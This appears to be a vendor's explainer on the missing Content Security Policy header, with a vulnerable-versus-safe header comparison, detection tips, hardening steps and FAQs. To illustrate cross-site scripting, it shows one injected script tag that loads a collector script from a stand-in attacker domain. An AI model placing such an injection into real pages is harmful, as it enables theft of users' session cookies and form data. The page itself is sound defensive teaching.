Missing Content Security Policy
CWE-693CWE-1021OWASP A05:2021Updated September 4, 20265 min read
A Content Security Policy tells the browser which sources a page is allowed to load and run. Without that header, the browser accepts every script, every stylesheet and every connection that ends up in the page. A CSP does not prevent vulnerabilities, but it does limit what an attacker can do with one they find.
A browser is naturally credulous: it runs every script that appears in the page, no matter where it came from. A Content Security Policy puts boundaries around that credulity. This article explains what the header does, how to introduce one without production incidents, and why a carelessly written CSP is sometimes worse than none at all.
What is a Content Security Policy?
A Content Security Policy (CSP) is an HTTP header with which the server tells the browser which resources a page may use: which domains scripts and stylesheets may come from, where images may be fetched, which servers the page may connect to, and whether the page may be placed inside a frame. Anything not explicitly allowed is blocked by the browser.
Compare it with the guest list at the entrance of a private event. Without a list, the doorman admits anyone who looks reasonable; with a list, only those actually on it get in. The doorman therefore does not check whether someone means harm, only whether they belong there. That distinction is what makes a CSP so effective: the browser does not have to recognise malicious code, it only has to know that the code is not on the list.
It is emphatically a layer of defence, not a cure. A CSP repairs no flaw in your code. It ensures that an attacker who does manage to get script code into your page can do far less with it: the script is not executed, or the stolen data cannot be sent to a server of their choosing.
How does a Content Security Policy work?
The browser reads the policy when loading the page and then applies it to every resource. If the header is absent, no restriction applies at all.
Vulnerable:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
There is no policy, so the browser does what the page instructs. If an attacker manages to get the following into the HTML through an unescaped input field, it simply runs:
<!-- Landed in the page through a vulnerable input field -->
<script src="https://malicious.example/collect.js"></script>
The script loads from a foreign domain, runs with all the privileges of your page, can read the session cookie and the contents of forms, and then send them to the attacker’s server. Not one step of that is stopped.
Safe:
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Security-Policy:
default-src 'self';
script-src 'self' 'nonce-r4nD0mP3rReQu3st';
style-src 'self';
img-src 'self' data:;
connect-src 'self';
frame-ancestors 'none';
object-src 'none';
base-uri 'self';
form-action 'self'
The attack now fails at several points at once. The external script does not come from 'self' and lacks the nonce, so the browser refuses to load it. If the attacker injected inline JavaScript instead, it would run into the same nonce requirement: the value cannot be guessed, because it is generated afresh for every request. And even if code did run by some other route, connect-src 'self' limits where it may send data.
The remaining directives close the classic detours. object-src 'none' rules out outdated plug-ins, base-uri 'self' prevents an injected <base> tag from redirecting all relative paths to the attacker, form-action 'self' stops a form from being posted elsewhere, and frame-ancestors 'none' blocks clickjacking. Those last four are often forgotten, precisely because they do not inherit from default-src.
'unsafe-inline' in script-src offers virtually no protection against cross-site scripting: the very injection you wanted to stop is thereby permitted again. If you cannot phase out inline scripts immediately, use nonces or hashes instead of that exception.What is the impact of a missing CSP?
On its own this is a hardening finding: there is no vulnerability that can be exploited directly, which is why the severity is usually rated low. The impact lies in what does not happen at the moment things go wrong.
If an attacker finds a way to inject script somewhere in your application, the presence of a CSP is the difference between a blocked script and a full account takeover. The same applies to a compromised external library: without a script-src restriction and without integrity checking, the supplier’s modified code runs unhindered on your domain. Form hijacking and injecting a <base> tag are trivial without a policy as well.
On top of that, a missing CSP is rarely an isolated problem. It usually signals that HTTP headers as a whole have not been set up centrally, which means frame-ancestors, X-Content-Type-Options and HSTS are frequently missing too.
How do you detect a missing CSP?
Establishing that the header is absent takes a single request. The substantive assessment is the work that matters, because a CSP that is present says little on its own.
A tester checks whether the policy does not undermine itself with 'unsafe-inline' or 'unsafe-eval', whether there are no wildcards or overly broad domains in script-src, and whether commonly forgotten directives such as object-src, base-uri, form-action and frame-ancestors are actually set. They also look at whether nonces are unique per request, since a fixed, reused nonce is functionally identical to 'unsafe-inline', and whether the policy is sent on all routes rather than only on the home page. Another common mistake is a permitted CDN that hosts arbitrary user files, which effectively lifts the whole restriction. During a penetration test AssistSec assesses not just the presence of the header but tries to bypass the policy using the sources you have permitted yourself.
How do you prevent a missing or weak CSP?
- Send a
Content-Security-Policyheader on every HTTP response, configured centrally in your web server, proxy or middleware. - Start with
default-src 'self'and extend it only with sources you demonstrably need. - Introduce the policy first with
Content-Security-Policy-Report-Onlyand a reporting endpoint, so you see violations before you block anything. - Avoid
'unsafe-inline'and'unsafe-eval'; use per-request nonces or hashes for scripts that must stay inline. - Set the directives that do not inherit from
default-srcexplicitly:object-src,base-uri,form-actionandframe-ancestors. - Never allow an entire CDN that serves user-uploaded files; that makes the restriction meaningless.
- Deliver the CSP as an HTTP header rather than a meta tag, because a number of directives are ignored there.
- Review the policy again after every change to the frontend, and keep the reporting endpoint active to spot regressions.
Sources
Frequently asked questions
Does a CSP replace sanitising input?
No, and this is the most persistent misunderstanding around the header. A CSP is a second lock on the door: it limits the damage when script code does end up in your page anyway. Correctly escaping and validating input remains the primary defence against cross-site scripting; the CSP catches what slips through.
Can I introduce a CSP without breaking my site?
Yes. First send Content-Security-Policy-Report-Only along with a reporting endpoint. The browser then blocks nothing but does report every violation. That way you see for weeks which sources your application actually uses, after which you enforce the policy without surprises.
Is a CSP with only default-src self enough?
That is a strong basis, but usually too strict to run unchanged and at the same time incomplete. You are missing frame-ancestors, which blocks clickjacking, and object-src, which stops outdated plug-ins. Neither inherits from default-src, so both must be named separately.
Does a CSP work in a meta tag too?
Largely, but not fully: several directives, among them frame-ancestors, sandbox and report-uri, are ignored in a meta tag. The policy also only takes effect from the moment the browser encounters that tag. Always deliver a CSP as an HTTP header.
Related articles
- VulnerabilitiesCWE-1021A05:2021ClickjackingClickjacking explained: how an attacker loads your site invisibly in a frame and captures your users' clicks, and which headers block it.
- VulnerabilitiesCWE-79A03:2021Cross-site scripting (XSS)Cross-site scripting (XSS) lets attackers inject malicious scripts into web pages that run in visitors' browsers. Learn how XSS works and how to prevent it.
- VulnerabilitiesCWE-693A05:2021CSP allows inline scripts and evalA CSP with unsafe-inline or unsafe-eval no longer stops cross-site scripting. Learn why, and how nonces and hashes let you drop those exceptions.
- VulnerabilitiesCWE-16A05:2021Security misconfigurationSecurity misconfiguration explained: how default passwords, debug modes and open cloud buckets let attackers in, and how to harden your systems.
- VulnerabilitiesCWE-353A08:2021External scripts without integrity checkingLoading JavaScript from a CDN without an integrity attribute means every change there runs straight on your site. Learn how SRI blocks that.